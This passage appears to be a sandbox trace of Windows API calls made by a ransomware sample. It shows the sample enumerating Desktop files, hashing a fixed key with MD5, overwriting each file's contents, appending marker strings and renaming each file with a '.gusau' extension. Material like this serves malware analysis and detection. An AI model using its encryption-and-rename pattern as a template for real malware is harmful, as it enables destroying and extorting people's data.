flProtect=0x4) returned 0xf30000 [0116.991] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x11670, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.991] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0116.992] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0116.992] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0116.992] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.992] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x11696, lpOverlapped=0x0) returned 1 [0116.993] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.993] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0116.993] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.993] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.993] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0c68) returned 1 [0116.994] CryptCreateHash (in: hProv=0xdf0c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0116.994] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0116.994] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0116.994] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0116.994] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0116.994] GetLastError () returned 0x0 [0116.994] CryptDestroyHash (hHash=0x3983720) returned 1 [0116.994] CryptReleaseContext (hProv=0xdf0c68, dwFlags=0x0) returned 1 [0116.994] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0116.994] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x116a0) returned 0x39f9f20 [0116.995] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0116.995] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0116.995] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x11691, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x11691, lpOverlapped=0x0) returned 1 [0116.995] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0116.995] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x11696, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.995] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0116.995] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5210 [0116.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5210, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0116.995] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5640 [0116.995] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0116.995] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0116.995] WriteFile (in: hFile=0x610, lpBuffer=0x39f5640*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5640*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0116.996] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5640 | out: hHeap=0xd10000) returned 1 [0116.996] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0116.996] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0116.996] CloseHandle (hObject=0x610) returned 1 [0116.997] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941b80 [0116.997] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x880) returned 0x39f5210 [0116.997] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941b80 | out: hHeap=0xd10000) returned 1 [0116.997] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uZ7jTVGLo.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uz7jtvglo.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uZ7jTVGLo.pdf.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uz7jtvglo.pdf.gusau")) returned 1 [0116.997] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0116.997] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.998] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf3140 | out: hHeap=0xd10000) returned 1 [0116.998] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x896951b0, ftCreationTime.dwHighDateTime=0x1d4d514, ftLastAccessTime.dwLowDateTime=0xfc580b10, ftLastAccessTime.dwHighDateTime=0x1d4c91d, ftLastWriteTime.dwLowDateTime=0xfc580b10, ftLastWriteTime.dwHighDateTime=0x1d4c91d, nFileSizeHigh=0x0, nFileSizeLow=0x10db1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vDgHCp4Eu83i9SpY9-10.m4a", cAlternateFileName="VDGHCP~1.M4A")) returned 1 [0116.998] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.998] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0c68 [0116.998] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.998] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vDgHCp4Eu83i9SpY9-10.m4a") returned=".m4a" [0116.998] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vDgHCp4Eu83i9SpY9-10.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vdghcp4eu83i9spy9-10.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0116.999] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=69041) returned 1 [0116.999] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.001] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x10d8b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.001] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.002] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0117.002] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.002] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.002] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x10db1, lpOverlapped=0x0) returned 1 [0117.003] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.003] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0117.003] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.003] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.003] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf09c0) returned 1 [0117.004] CryptCreateHash (in: hProv=0xdf09c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.004] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.004] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.004] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0117.004] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.004] GetLastError () returned 0x0 [0117.004] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.004] CryptReleaseContext (hProv=0xdf09c0, dwFlags=0x0) returned 1 [0117.004] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0117.004] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x10db0) returned 0x39f9f20 [0117.005] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0117.005] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.005] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x10dac, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x10dac, lpOverlapped=0x0) returned 1 [0117.005] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0117.005] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x10db1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.005] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.005] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5210 [0117.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5210, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0117.005] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5640 [0117.005] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.005] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.005] WriteFile (in: hFile=0x610, lpBuffer=0x39f5640*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5640*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0117.006] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5640 | out: hHeap=0xd10000) returned 1 [0117.006] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.006] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.006] CloseHandle (hObject=0x610) returned 1 [0117.007] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0117.007] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x890) returned 0x39f5210 [0117.007] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0117.007] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vDgHCp4Eu83i9SpY9-10.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vdghcp4eu83i9spy9-10.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vDgHCp4Eu83i9SpY9-10.m4a.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vdghcp4eu83i9spy9-10.m4a.gusau")) returned 1 [0117.007] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.007] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.008] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0c68 | out: hHeap=0xd10000) returned 1 [0117.008] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4713620, ftCreationTime.dwHighDateTime=0x1d4cccc, ftLastAccessTime.dwLowDateTime=0xd7b698c0, ftLastAccessTime.dwHighDateTime=0x1d4c81a, ftLastWriteTime.dwLowDateTime=0xd7b698c0, ftLastWriteTime.dwHighDateTime=0x1d4c81a, nFileSizeHigh=0x0, nFileSizeLow=0x9c70, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wmwdI-cLzMW1U.rtf", cAlternateFileName="WMWDI-~1.RTF")) returned 1 [0117.008] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.008] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x76) returned 0xdf3140 [0117.008] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.008] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wmwdI-cLzMW1U.rtf") returned=".rtf" [0117.008] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wmwdI-cLzMW1U.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wmwdi-clzmw1u.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.009] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=40048) returned 1 [0117.009] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.011] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x9c4a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.011] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.012] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0117.012] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.012] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.012] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x9c70, lpOverlapped=0x0) returned 1 [0117.013] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.013] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0117.013] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.013] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.013] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0c68) returned 1 [0117.014] CryptCreateHash (in: hProv=0xdf0c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.014] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.014] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.014] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0117.014] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.014] GetLastError () returned 0x0 [0117.014] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.014] CryptReleaseContext (hProv=0xdf0c68, dwFlags=0x0) returned 1 [0117.014] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0117.014] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x9c70) returned 0x39f9f20 [0117.014] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0117.015] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.015] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x9c6b, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x9c6b, lpOverlapped=0x0) returned 1 [0117.015] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0117.015] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x9c70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.015] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.015] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5210 [0117.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5210, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0117.015] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5640 [0117.015] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.015] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.015] WriteFile (in: hFile=0x610, lpBuffer=0x39f5640*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5640*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0117.015] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5640 | out: hHeap=0xd10000) returned 1 [0117.015] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.015] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.015] CloseHandle (hObject=0x610) returned 1 [0117.016] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941b80 [0117.016] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x880) returned 0x39f5210 [0117.016] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941b80 | out: hHeap=0xd10000) returned 1 [0117.016] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wmwdI-cLzMW1U.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wmwdi-clzmw1u.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wmwdI-cLzMW1U.rtf.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wmwdi-clzmw1u.rtf.gusau")) returned 1 [0117.017] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.017] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.018] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf3140 | out: hHeap=0xd10000) returned 1 [0117.018] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa29dd310, ftCreationTime.dwHighDateTime=0x1d4cd10, ftLastAccessTime.dwLowDateTime=0xd3547f10, ftLastAccessTime.dwHighDateTime=0x1d4cd68, ftLastWriteTime.dwLowDateTime=0xd3547f10, ftLastWriteTime.dwHighDateTime=0x1d4cd68, nFileSizeHigh=0x0, nFileSizeLow=0x18bd4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xZVVdLTP5CRjDGwK.mp3", cAlternateFileName="XZVVDL~1.MP3")) returned 1 [0117.018] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.018] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0c68 [0117.018] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.018] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xZVVdLTP5CRjDGwK.mp3") returned=".mp3" [0117.018] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xZVVdLTP5CRjDGwK.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xzvvdltp5crjdgwk.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.020] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=101332) returned 1 [0117.020] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.022] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x18bae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.022] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.023] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0117.023] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.023] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.023] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x18bd4, lpOverlapped=0x0) returned 1 [0117.024] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.025] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0117.025] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.025] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.025] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf09c0) returned 1 [0117.025] CryptCreateHash (in: hProv=0xdf09c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.025] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.025] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.025] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0117.026] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.026] GetLastError () returned 0x0 [0117.026] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.026] CryptReleaseContext (hProv=0xdf09c0, dwFlags=0x0) returned 1 [0117.026] HeapFree (in: 